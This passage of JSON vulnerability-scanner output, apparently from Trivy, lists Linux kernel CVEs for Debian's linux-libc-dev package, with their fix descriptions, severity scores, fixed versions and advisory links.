"https://git.kernel.org/linus/85bb534ff12aab6916058897b39c748940a7a4c6%20%287.1-rc1%29", "https://git.kernel.org/stable/c/4005cb89139f7c9af85046b241dcf3fa2e1b3559", "https://git.kernel.org/stable/c/4eab1a74a498f0bf19f102f9362e9deef9307aea", "https://git.kernel.org/stable/c/654ef9c33e138ede6734ac286282df9faf83cd11", "https://git.kernel.org/stable/c/85bb534ff12aab6916058897b39c748940a7a4c6", "https://git.kernel.org/stable/c/fb5cb4913ce333cc4647722e8c2b8378e12f2464", "https://kernelcve.org/list/?q=CVE-2026-53118", "https://lore.kernel.org/linux-cve-announce/2026062415-CVE-2026-53118-a02a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53118", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53118" ], "PublishedDate": "2026-06-24T17:17:26.19Z", "LastModifiedDate": "2026-11-06T17:18:08.123Z" }, { "VulnerabilityID": "CVE-2026-53119", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53119", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:670db856751e0435db174b85f1310f019e395c2d8bc28ec7518edeb1f76e7a0d", "Title": "kernel: platform/wmi: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/wmi: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53119", "https://git.kernel.org/linus/8a700b1fc94df4d847a04f14ebc7f8532592b367%20%287.1-rc1%29", "https://git.kernel.org/stable/c/13d201bd840d2e2a645ef899f81342cd27ced346", "https://git.kernel.org/stable/c/2c5507010fc3b8e2bd596c63c88f6ad39a69b1c4", "https://git.kernel.org/stable/c/4dc755d86deed88789540d960e421124bad4c568", "https://git.kernel.org/stable/c/8a700b1fc94df4d847a04f14ebc7f8532592b367", "https://lore.kernel.org/linux-cve-announce/2026062416-CVE-2026-53119-7d1c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53119", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53119" ], "PublishedDate": "2026-06-24T17:17:26.283Z", "LastModifiedDate": "2026-07-23T21:31:14.56Z" }, { "VulnerabilityID": "CVE-2026-53120", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53120", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:df0abf59a967076164e949632046bee07c166f92f595e6758a72263ebe5e5062", "Title": "kernel: PCI: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53120", "https://git.kernel.org/linus/10a4206a24013be4d558d476010cbf2eb4c9fa64%20%287.1-rc1%29", "https://git.kernel.org/stable/c/10a4206a24013be4d558d476010cbf2eb4c9fa64", "https://git.kernel.org/stable/c/58a42be0d70307d765594fc581f5f5e5ef059712", "https://git.kernel.org/stable/c/c5b2c5755495507e14f310c2653c85de0a309b1f", "https://git.kernel.org/stable/c/dfe950d9464cad609f3b118c6203e2708055bc61", "https://git.kernel.org/stable/c/fdfa287956d00b936e0ac409b21e4f90501ad109", "https://kernelcve.org/list/?q=CVE-2026-53120", "https://lore.kernel.org/linux-cve-announce/2026062416-CVE-2026-53120-1d8f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53120", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53120" ], "PublishedDate": "2026-06-24T17:17:26.38Z", "LastModifiedDate": "2026-11-06T17:18:08.28Z" }, { "VulnerabilityID": "CVE-2026-53129", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53129", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f15bba3d049ddfcb3c2e915d96928fd453f53477065329717323296f83a9bcc6", "Title": "kernel: fs/mbcache: cancel shrink work before destroying the cache", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/mbcache: cancel shrink work before destroying the cache\n\nmb_cache_destroy() calls shrinker_free() and then frees all cache\nentries and the cache itself, but it does not cancel the pending\nc_shrink_work work item first.\n\nIf mb_cache_entry_create() schedules c_shrink_work via schedule_work()\nand the work item is still pending or running when mb_cache_destroy()\nruns, mb_cache_shrink_worker() will access the cache after its memory\nhas been freed, causing a use-after-free.\n\nThis is only reachable by a privileged user (root or CAP_SYS_ADMIN)\nwho can trigger the last put of a mounted ext2/ext4/ocfs2 filesystem.\n\nCancel the work item with cancel_work_sync() before calling\nshrinker_free(), ensuring the worker has finished and will not be\nrescheduled before the cache is torn down.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53129", "https://git.kernel.org/linus/d227786ab1119669df4dc333a61510c52047cce4%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0e4eff315d799f5842b95872199b0f0fb8ef5f51", "https://git.kernel.org/stable/c/40148c615687c1692712e50a6de53d62dfbfc20f", "https://git.kernel.org/stable/c/a88d39a74a208e197c03bffaa2df34de732af19f", "https://git.kernel.org/stable/c/b25fd3523bef88fb7ffd4c5b63bbe9c08f73bb4c", "https://git.kernel.org/stable/c/cbdd6f0fb19a0ce8a013acd80ac87a62f57fa20d", "https://git.kernel.org/stable/c/d227786ab1119669df4dc333a61510c52047cce4", "https://kernelcve.org/list/?q=CVE-2026-53129", "https://lore.kernel.org/linux-cve-announce/2026062418-CVE-2026-53129-781c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53129", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53129" ], "PublishedDate": "2026-06-24T17:17:28.793Z", "LastModifiedDate": "2026-11-06T17:18:09.117Z" }, { "VulnerabilityID": "CVE-2026-53130", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53130", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:15c07fb3f35ea1f783e2799def0e186e79aa19ffd015123e73bfe4aa7e6b290b", "Title": "kernel: Linux kernel OMFS: Arbitrary code execution via crafted filesystem image", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/omfs: reject s_sys_blocksize smaller than OMFS_DIR_START\n\nomfs_fill_super() rejects oversized s_sys_blocksize values (\u003e PAGE_SIZE),\nbut it does not reject values smaller than OMFS_DIR_START (0x1b8 = 440).\n\nLater, omfs_make_empty() uses\n\n sbi-\u003es_sys_blocksize - OMFS_DIR_START\n\nas the length argument to memset(). Since s_sys_blocksize is u32,\na crafted filesystem image with s_sys_blocksize \u003c OMFS_DIR_START causes\nan unsigned underflow there, wrapping to a value near 2^32. That drives\na ~4 GiB memset() from bh-\u003eb_data + OMFS_DIR_START and overwrites kernel\nmemory far beyond the backing block buffer.\n\nAdd the corresponding lower-bound check alongside the existing upper-bound\ncheck in omfs_fill_super(), so that malformed images are rejected during\nsuperblock validation before any filesystem data is processed.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53130", "https://git.kernel.org/linus/0621c385fda1376e967f37ccd534c26c3e511d14%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0621c385fda1376e967f37ccd534c26c3e511d14", "https://git.kernel.org/stable/c/131ea3e57fc22936ed0e2c8330f2e36106172f51", "https://git.kernel.org/stable/c/5822a05a841a10794ad818620dd2af490b0705d3", "https://git.kernel.org/stable/c/6561afc38398e3518a29c5eebb975c30468f98a6", "https://git.kernel.org/stable/c/754ff1bea3819a90c6f33cccfc1a299ef7609f07", "https://git.kernel.org/stable/c/79f84af38c9fef9deb0e02c79eb969b5541c2644", "https://git.kernel.org/stable/c/817f16ed62bc58a168417bfb5e859c2a370bab03", "https://git.kernel.org/stable/c/fbc72f5c645155dc2ed3573243ed20f9913e3a54", "https://lore.kernel.org/linux-cve-announce/2026062418-CVE-2026-53130-c204@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53130", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53130" ], "PublishedDate": "2026-06-24T17:17:28.903Z", "LastModifiedDate": "2026-07-06T15:26:25.98Z" }, { "VulnerabilityID": "CVE-2026-53136", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53136", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:49ffd95bb26d1f2b19e44ddd5d3f2ee5efe4f4d76e92cea30a9a449744d16144", "Title": "kernel: drm/amd/display: Clamp VBIOS HDMI retimer register count to array size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Clamp VBIOS HDMI retimer register count to array size\n\n[Why \u0026 How]\nThe VBIOS integrated info tables (v1_11 and v2_1) contain HdmiRegNum and\nHdmi6GRegNum fields that are used as loop bounds when copying retimer I2C\nregister settings into fixed-size arrays (dp*_ext_hdmi_reg_settings[9]\nand dp*_ext_hdmi_6g_reg_settings[3]). These u8 fields are not validated\nbefore use, so a malformed VBIOS can specify values up to 255, causing an\nout-of-bounds heap write during driver probe.\n\nClamp each register count to the destination array size using min_t()\nbefore the copy loops, in both get_integrated_info_v11() and\nget_integrated_info_v2_1().\n\n(cherry picked from commit 5a7f0ef90195940c54b0f5bb85b87da55f038c69)", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53136", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/fb0707ce00eef4e2d60c3020e1c0432739703e4a%20%287.1-rc7%29", "https://git.kernel.org/stable/c/029571d51140650783be4fb98fe7cb4754752086", "https://git.kernel.org/stable/c/3f32d52ec604c659725d865cf8cc6a17a33f9c6a", "https://git.kernel.org/stable/c/4d1c3c26c2ab1842e139e61983395d64bd2e518b", "https://git.kernel.org/stable/c/5f8b39452fb16f507c9e4d8b4a83ce27e893307c", "https://git.kernel.org/stable/c/8aaa7e317fbd4beb9c6a9f77aa4cf52fae78b117", "https://git.kernel.org/stable/c/d6be8e59af412623e3d874be3a048406c0edfe60", "https://git.kernel.org/stable/c/fb0707ce00eef4e2d60c3020e1c0432739703e4a", "https://linux.oracle.com/cve/CVE-2026-53136.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026062543-CVE-2026-53136-b8ab@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53136", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53136" ], "PublishedDate": "2026-06-25T09:16:30.91Z", "LastModifiedDate": "2026-11-06T17:18:09.693Z" }, { "VulnerabilityID": "CVE-2026-53137", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53137", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4ab69886d025bae6af02b73ed855b78c6ee0bae47915dff6ad8163949e208326", "Title": "kernel: drm/amd/display: Clamp HDMI HDCP2 rx_id_list read to buffer size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Clamp HDMI HDCP2 rx_id_list read to buffer size\n\n[Why \u0026 How]\nDuring HDCP 2.x repeater authentication over HDMI, the driver reads the\nsink's RxStatus register and extracts a 10-bit message size field (max\nvalue 1023). This value is used as the read length for the ReceiverID\nlist without being clamped to the size of the destination buffer\nrx_id_list[177]. A malicious HDMI repeater could advertise a message\nsize larger than the buffer, causing an out-of-bounds write during the\nI2C read.\n\nClamp the read length in mod_hdcp_read_rx_id_list() to the size of the\nrx_id_list buffer, matching the approach already used in the DP branch.\n\n(cherry picked from commit 229212219e4247d9486f8ba41ef087358490be09)", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53137", "https://git.kernel.org/linus/f0f3981c43b32cadfe373d636d9e9ca522bb3702%20%287.1-rc7%29", "https://git.kernel.org/stable/c/1906064d50d194a145486e5caf3db3e708b6f6ef", "https://git.kernel.org/stable/c/3c4444aec06c74fbc05661f370954ac814963c38", "https://git.kernel.org/stable/c/79e0273272a05fb26f9b1e55bf1a52eefc3b7b35", "https://git.kernel.org/stable/c/91fb41218c413989d8b6c837748751454b452d68", "https://git.kernel.org/stable/c/964e50ef7b8f09815a7d05b8326af700f8d5bc96", "https://git.kernel.org/stable/c/98cfb7530ea91d8e5e928285cdce58e1131f6e83", "https://git.kernel.org/stable/c/bfba882cfcd08f6540f72f48e786b6404f5d2c5b", "https://git.kernel.org/stable/c/f0f3981c43b32cadfe373d636d9e9ca522bb3702", "https://linux.oracle.com/cve/CVE-2026-53137.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062543-CVE-2026-53137-e711@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53137", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", 